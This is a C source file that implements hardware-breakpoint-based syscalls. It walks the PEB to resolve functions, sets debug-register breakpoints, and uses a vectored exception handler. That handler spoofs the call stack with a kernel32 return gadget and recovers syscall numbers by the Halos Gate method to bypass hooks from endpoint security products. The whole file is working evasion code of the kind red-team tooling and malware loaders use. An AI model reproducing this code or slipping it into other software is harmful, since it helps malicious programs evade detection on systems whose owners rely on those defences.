#include "HWSyscalls.h" #pragma region GlobalVariables PVOID exceptionHandlerHandle; HANDLE myThread; HANDLE hNtdll; UINT64 ntFunctionAddress; UINT64 k32FunctionAddress; UINT64 retGadgetAddress; UINT64 stackArgs[STACK_ARGS_LENGTH]; UINT64 callRegGadgetAddress; UINT64 callRegGadgetAddressRet; char callRegGadgetValue; UINT64 regBackup; #pragma endregion #pragma region BinaryPatternMatching // @janoglezcampos, @idov31 - https://github.com/Idov31/Cronos/blob/master/src/Utils.c BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { for (; *szMask; ++szMask, ++pData, ++bMask) if (*szMask == 'x' && *pData != *bMask) return FALSE; return TRUE; } DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask) { for (DWORD i = 0; i < dwLen; i++) if (MaskCompare((PBYTE)(dwAddress + i), bMask, szMask)) return (DWORD_PTR)(dwAddress + i); return 0; } DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask) { DWORD_PTR dwAddress = 0; PIMAGE_DOS_HEADER imageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName); if (!imageBase) return 0; DWORD_PTR sectionOffset = (DWORD_PTR)imageBase + imageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS); if (!sectionOffset) return 0; PIMAGE_SECTION_HEADER textSection = (PIMAGE_SECTION_HEADER)(sectionOffset); dwAddress = FindPattern((DWORD_PTR)imageBase + textSection->VirtualAddress, textSection->SizeOfRawData, bMask, szMask); return dwAddress; } #pragma endregion #pragma region PEBGetProcAddress UINT64 GetModuleAddress(LPWSTR moduleName) { PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET); LIST_ENTRY* ModuleList = NULL; if (!moduleName) return 0; for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink; pListEntry != &peb->LoaderData->InMemoryOrderModuleList; pListEntry = pListEntry->Flink) { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) { return (UINT64)pEntry->DllBase; } } return 0; } UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName) { UINT64 functionAddress = 0; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; // Checking that the image is valid PE file. if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 0; } PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew); if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { return functionAddress; } IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) { return functionAddress; } // Iterating the export directory. PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* addresses = (DWORD*)(moduleBase + exportDirectory->AddressOfFunctions); WORD* ordinals = (WORD*)(moduleBase + exportDirectory->AddressOfNameOrdinals); DWORD* names = (DWORD*)(moduleBase + exportDirectory->AddressOfNames); for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { if (_stricmp((char*)(moduleBase + names[j]), functionName) == 0) { functionAddress = moduleBase + addresses[ordinals[j]]; break; } } return functionAddress; } #pragma endregion #pragma region HalosGate DWORD64 FindSyscallNumber(DWORD64 functionAddress) { // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md WORD syscallNumber = 0; for (WORD idx = 1; idx <= 500; idx++) { // check neighboring syscall down if (*((PBYTE)functionAddress + idx * DOWN) == 0x4c && *((PBYTE)functionAddress + 1 + idx * DOWN) == 0x8b && *((PBYTE)functionAddress + 2 + idx * DOWN) == 0xd1 && *((PBYTE)functionAddress + 3 + idx * DOWN) == 0xb8 && *((PBYTE)functionAddress + 6 + idx * DOWN) == 0x00 && *((PBYTE)functionAddress + 7 + idx * DOWN) == 0x00) { BYTE high = *((PBYTE)functionAddress + 5 + idx * DOWN); BYTE low = *((PBYTE)functionAddress + 4 + idx * DOWN); syscallNumber = (high << 8) | low - idx; DEBUG_PRINT("[+] Found SSN: 0x%X\n", syscallNumber); break; } // check neighboring syscall up if (*((PBYTE)functionAddress + idx * UP) == 0x4c && *((PBYTE)functionAddress + 1 + idx * UP) == 0x8b && *((PBYTE)functionAddress + 2 + idx * UP) == 0xd1 && *((PBYTE)functionAddress + 3 + idx * UP) == 0xb8 && *((PBYTE)functionAddress + 6 + idx * UP) == 0x00 && *((PBYTE)functionAddress + 7 + idx * UP) == 0x00) { BYTE high = *((PBYTE)functionAddress + 5 + idx * UP); BYTE low = *((PBYTE)functionAddress + 4 + idx * UP); syscallNumber = (high << 8) | low + idx; DEBUG_PRINT("[+] Found SSN: 0x%X\n", syscallNumber); break; } } if (syscallNumber == 0) DEBUG_PRINT("[-] Could not find SSN\n"); return syscallNumber; } DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) { // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md DWORD64 syscallReturnAddress = 0; for (WORD idx = 1; idx <= 32; idx++) { if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) { syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx); DEBUG_PRINT("[+] Found \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress); break; } } if (syscallReturnAddress == 0) DEBUG_PRINT("[-] Could not find \"syscall;ret;\" opcode address\n"); return syscallReturnAddress; } #pragma endregion UINT64 PrepareSyscall(char* functionName) { return ntFunctionAddress; } bool SetMainBreakpoint() { // Dynamically find the GetThreadContext and SetThreadContext functions GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "GetThreadContext"); SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "SetThreadContext"); DWORD old = 0; CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; // Get current thread context pGetThreadContext(myThread, &ctx); // Set hardware breakpoint on PrepareSyscall function ctx.Dr0 = (UINT64)&PrepareSyscall; ctx.Dr7 |= (1 << 0); ctx.Dr7 &= ~(1 << 16); ctx.Dr7 &= ~(1 << 17); ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; // Apply the modified context to the current thread if (!pSetThreadContext(myThread, &ctx)) { DEBUG_PRINT("[-] Could not set new thread context: 0x%X", GetLastError()); return false; } DEBUG_PRINT("[+] Main HWBP set successfully\n"); return true; } LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) { DEBUG_PRINT("\n===============HWSYSCALLS DEBUG==============="); DEBUG_PRINT("\n[+] PrepareSyscall Breakpoint Hit (%#llx)!\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); // Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx)); DEBUG_PRINT("[+] Found %s address: 0x%I64X\n", (const char*)(ExceptionInfo->ContextRecord->Rcx), ntFunctionAddress); // Move breakpoint to the NTAPI function; DEBUG_PRINT("[+] Moving breakpoint to %#llx\n", ntFunctionAddress); ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress; } else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) { DEBUG_PRINT("[+] NTAPI Function Breakpoint Hit (%#llx)!\n", (DWORD64)ExceptionInfo->ExceptionRecord->ExceptionAddress); // Create a new stack to spoof the kernel32 function address // The stack size will be 0x70 which is compatible with the RET_GADGET we found. // sub rsp, 70 ExceptionInfo->ContextRecord->Rsp -= 0x70; // mov rsp, REG_GADGET_ADDRESS *(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress; DEBUG_PRINT("[+] Created a new stack frame with RET_GADGET (%#llx) as the return address\n", retGadgetAddress); // Copy the stack arguments from the original stack for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++) { const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70); } DEBUG_PRINT("[+] Original stack arguments successfully copied over to the new stack\n"); DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip; char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 }; if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) { DEBUG_PRINT("[+] Function is not hooked\n"); DEBUG_PRINT("[+] Continuing with normal execution\n"); } else { DEBUG_PRINT("[+] Function is HOOKED!\n"); DEBUG_PRINT("[+] Looking for the SSN via Halos Gate\n"); WORD syscallNumber = FindSyscallNumber(pFunctionAddress); if (syscallNumber == 0) { ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet; return EXCEPTION_CONTINUE_EXECUTION; } DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber); if (syscallReturnAddress == 0) { ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet; return EXCEPTION_CONTINUE_EXECUTION; } // mov r10, rcx DEBUG_PRINT("[+] Moving RCX to R10 (mov r10, rcx)\n"); ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx; //mov eax, SSN DEBUG_PRINT("[+] Moving SSN to RAX (mov rax, 0x%X)\n", syscallNumber); ExceptionInfo->ContextRecord->Rax = syscallNumber; //Set RIP to syscall;ret; opcode address DEBUG_PRINT("[+] Jumping to \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress); ExceptionInfo->ContextRecord->Rip = syscallReturnAddress; } // Move breakpoint back to PrepareSyscall to catch the next invoke DEBUG_PRINT("[+] Moving breakpoint back to PrepareSyscall to catch the next invoke\n"); ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall; DEBUG_PRINT("==============================================\n\n"); } return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } bool FindRetGadget() { // Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase retGadgetAddress = FindInModule("KERNEL32.DLL", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx"); if (retGadgetAddress != 0) { DEBUG_PRINT("[+] Found RET_GADGET in kernel32.dll: %#llx\n", retGadgetAddress); return true; } else { retGadgetAddress = FindInModule("kernelbase.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx"); DEBUG_PRINT("[+] Found RET_GADGET in kernelbase.dll: %#llx\n", retGadgetAddress); if (retGadgetAddress != 0) { return true; } } return false; } bool InitHWSyscalls() { myThread = GetCurrentThread(); hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntdll.dll"); if (!FindRetGadget()) { DEBUG_PRINT("[!] Could not find a suitable \"ADD RSP,68;RET\" gadget in kernel32 or kernelbase. InitHWSyscalls failed."); return false; } // Register exception handler exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler); if (!exceptionHandlerHandle) { DEBUG_PRINT("[!] Could not register VEH: 0x%X\n", GetLastError()); return false; } return SetMainBreakpoint(); } bool DeinitHWSyscalls() { return RemoveVectoredExceptionHandler(exceptionHandlerHandle) != 0; }